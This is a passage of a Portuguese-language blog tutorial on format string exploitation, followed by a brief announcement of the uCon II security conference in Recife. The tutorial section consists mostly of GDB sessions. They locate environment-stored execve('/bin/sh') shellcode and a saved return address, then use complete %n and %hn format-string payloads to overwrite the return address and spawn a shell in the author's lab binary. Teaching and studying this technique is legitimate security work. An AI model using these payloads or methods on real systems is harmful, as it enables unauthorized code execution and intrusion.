Agora que temos nosso shellcode em uma variável de ambiente vamos procurar o endereço dele dentro do nosso processo usando o GDB (se lembre de desativar a randomização do Address Space, veja como fazer isso em VD01).

(gdb) break *(main)
Breakpoint 1 at 0x80483d7
(gdb) r "A"
Starting program: /home/mabj/Documents/project/writer/format_string/vuln_03 "A"
Breakpoint 1, 0x080483d7 in main ()
Current language:  auto; currently asm
(gdb) x/20x $esp
0xbffff22c:     0xb7e89685      0x00000002      0xbffff5b4 (ARGV)  0xbffff2c0
0xbffff23c:     0xb7fe2b38      0x00000001      0x00000001      0x00000000
0xbffff24c:     0x08048230      0xb7fccff4      0x08048420      0x08048310
0xbffff25c:     0xbffff588      0xd90a6179      0xf7cc9569      0x00000000
0xbffff26c:     0x00000000      0x00000000      0xb7ff6090      0xb7e895ad
(gdb) x/x 0xbffff5b4  < --- Pegando o endereço de ARGV[0]
0xbffff2b4:     0xbffff708
(gdb) x/s (0xbffff708+4)
0xbffff40c:      "e/mabj/Documents/project/writer/format_string/vuln_03"
(gdb)
0xbffff442:      "A"
(gdb)
0xbffff444:      "SSH_AGENT_PID=6224"
(gdb)
0xbffff457:      "KDE_MULTIHEAD=false"
(gdb)
0xbffff46b:   "DM_CONTROL=/var/run/xdmctl"
(gdb)
0xbffff4db:  "SHELLCODE=�\0271��\200�\v\231Rh//shh/bin\211�RS\211��\200"
(gdb) x/s (0xbffff4e5)
0xbffff4e5: "�\0271��\200�\v\231Rh//shh/bin\211�RS\211��\200" <--- BINGO !

Agora que temos o endereço do nosso shellcode (0xbffff4e5), vamos procurar onde está o ponto de retorno da nossa função vulnerável a print_str e com isso gerar uma string para que possamos sobrescrever esse endereço.

(gdb) disas main
Dump of assembler code for function main:
0x080483d7 :    lea    0x4(%esp),%ecx
0x080483db :    and    $0xfffffff0,%esp
0x080483de :    pushl  -0x4(%ecx)
0x080483e1 :   push   %ebp
0x080483e2 :   mov    %esp,%ebp
0x080483e4 :   push   %ecx
0x080483e5 :   sub    $0x14,%esp
0x080483e8 :   mov    0x4(%ecx),%eax
0x080483eb :   add    $0x4,%eax
0x080483ee :   mov    (%eax),%eax
0x080483f0 :   mov    %eax,(%esp)
0x080483f3 :   call   0x80483c4

0x080483f8 :   add    $0x14,%esp < --- Esse aqui é o endereço guardado no nosso
                          ponto de retorno vamos procurar por ele na pilha
                          assim que entramos na função "print_str"
0x080483fb :   pop    %ecx
0x080483fc :   pop    %ebp
0x080483fd :   lea    -0x4(%ecx),%esp
0x08048400 :   ret
End of assembler dump.
(gdb) break *(print_str)
Breakpoint 1 at 0x80483c4
(gdb) r "A"
Starting program: /home/mabj/Documents/project/writer/format_string/vuln_03 "A"

Breakpoint 1, 0x080483c4 in print_str ()
Current language:  auto; currently asm
(gdb) x/20x
0x0:    Cannot access memory at address 0x0
(gdb) x/20x $esp
0xbffff2ac:     0x080483f8      0xbffff4a0      0x08049ff4      0xbffff2d8
0xbffff2bc:     0x08048439      0xb7ff0f50      0xbffff2e0      0xbffff338
0xbffff2cc:     0xb7e95685      0x08048420      0x08048310      0xbffff338
0xbffff2dc:     0xb7e95685      0x00000002      0xbffff364      0xbffff370
0xbffff2ec:     0xb7fe2b38      0x00000001      0x00000001      0x00000000

(gdb) x/x 0xbffff2ac
0xbffff2ac:     0x080483f8   < --- Achei o endereço do ponto de retorno

Agora já temos o endereço do lugar exato onde iremos sobrescrever com o endereço do nosso shellcode. Agora vamos gerar a nossa format string que explore essa vulnerabilidade. Tudo que temos que fazer é fazer com que o nosso parâmetro de formato inserido tenha como inicio o endereço do ponto de retorno e que a soma dos caracteres impressos na tela seja igual ao endereço do nosso shellcode. A primeira técnica que iremos usar é a que sobrescrevemos byte a byte do nosso endereço de retorno.

Sobrescrevendo byte a byte

Fig. 01 Sobrescrevendo byte a byte

 Lembrar de retirar os espaços em branco. 
(gdb) r $'
        \xac\xf2\xff\xbf   |----> Sobrescrevendo o byte 1
        \xad\xf2\xff\xbf   |----> Sobrescrevendo o byte 2
        \xae\xf2\xff\xbf   |----> Sobrescrevendo o byte 3
        \xaf\xf2\xff\xbf    |----> Sobrescrevendo o byte 4
        %213x%128$n  | ---> 16 + 213 = 229 = 0xE5
        %15x%129$n    | ---> 229 + 15 = 244 = 0xF4 
        %11x%130$n    | ---> 244 + 11 = 255 = 0xFF
        %192x%131$n  | ---> 255 + 192 = 447 = 0x1BF
'

Com isso conseguimos sobrescrever o endereço de retorno da função print_str com o endereço do nosso shellcode com sucesso.

(gdb) r $'\xac\xf2\xff\xbf\xad\xf2\xff\xbf\xae\xf2\xff\xbf\xaf\xf2\xff\xbf%213x%128$n%15x%129$n%11x%130$n%192x%131$n'
Starting program: /home/mabj/format_string/vuln3 $'\xac\xf2\xff\xbf\xad\xf2\xff\xbf\xae\xf2\xff\xbf\xaf\xf2\xff\xbf%213x%128$n%15x%129$n%11x%130$n%192x%131$n'
Executing new program: /bin/dash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
$     Voilà ! \O/

Apesar da eficácia da técnica, ela “polui” a memória em 3 bytes e não seria realizada com sucesso em caso do código está sendo executado em sistemas que contenha alguma proteção a pilha baseada em canários, pois a região ao redor do return point é sobrescrita pelos “%n”s.

Vamos agora ver outra técnica que nos permite sobrescrever exatamente os 32 bits do endereço de retorno na função vulnerável. A diferença para a primeira técnica é que usaremos uma variação de “%n” que sobrescreve apenas 16 bits que é o “%hn”.

 Lembrar de retirar os espaços em branco. 
(gdb) r $'
       \xac\xf2\xff\xbf   |---> Sobrescre os primeiros 16 bits de 0xbffff2ac
       \xae\xf2\xff\xbf   |---> Sobrescre os próximos 16 bits de 0xbffff2ae
       %.49143u%130$hn  |--> 8 + 49143 = 49151 = 0xBFFF 
       %.13542u%129$hn'  |--> 49151 + 13542 = 0xF4E5
(gdb) r $'\xac\xf2\xff\xbf\xae\xf2\xff\xbf%.49143u%130$hn%.13542u%129$hn' 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/mabj/format_string/vuln3 $'\xac\xf2\xff\xbf\xae\xf2\xff\xbf%.49143u%130$hn%.13542u%1
29$hn'
0000000000000000000000000000000000000000000000000000000000000000000
...
0000000000000000000000000000000000000000000000000000000000000000000
00000000000000Executing new program: /bin/dash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
$   < ---|  \O/\O/\O/

Com isso sobrescrevemos novamente o ponto de retorno da função print_str, mas dessa vez não sobrescrevemos nenhuma outra região da memória diferente da que queríamos. Sobrescrevemos com o endereço do nosso shellcode sem sobrescrever nenhuma região extra na memória. Note também que o format string ficou bem menor que o primeiro exemplo. \O/

Com isso acabamos o nosso post sobre format string. Aqui foram apresentadas apenas algumas técnicas básicas, cabe ao leitor, agora com os fundamentos do ataque, explorar suas variações. Essa é uma técnica poderoza pois permite modificações cirúrgicas na memória acessível pelo processo, isso torna o ataque tão ou mais perigoso quanto as técnicas de buffer overflow tradicionais. Existem na internet excelentes artigos sobre o assunto como o artigo de Scut da TESO Security [4] ou o Shellcoders Handbook no capítulo 4 [5].

[1] http://www.gnu.org/software/libc/
[2] http://en.wikipedia.org/wiki/Shellcode
[3] http://www.milw0rm.com/
[4] Exploiting format String Vulnerabilities
[5] Shellcoders Handbook – Discovering and Exploiting Security Holes

uCon II – 28 Fevereiro – Recife PE

January 13th, 2009 Marcos Álvares No comments

Em fevereiro irá ocorrer a segunda edição do uCon Security Conference, evento destinado a reunir pesquisadores de segurança da informação para expor seus projetos e trocar idéias de uma forma bem descontraida. Seguindo os moldes de grandes eventos mundiais de segurança da informação como: Blackhat[1], Defcon[2] e CCC [3]. A uCon terá palestra nacionais e internacionais, cursos, lighting talks, capture the flag além de contar com uma infra-estrutura bastante adequada para a forma do evento [4].

O Call for Papers [5] do evento está aberto até o dia 25 de Janeiro. Parabéns a toda a galera que está fazendo esse evento acontecer!

Referências:
[1] http://www.blackhat.com/
[2] http://www.defcon.org/
[3] http://events.ccc.de/
[4] http://www.jardinsbar.com.br/site/home/index.php
[5] http://www.ucon-conference.org/cfp.php?hl=pt

Categories: Technology Tags: , ,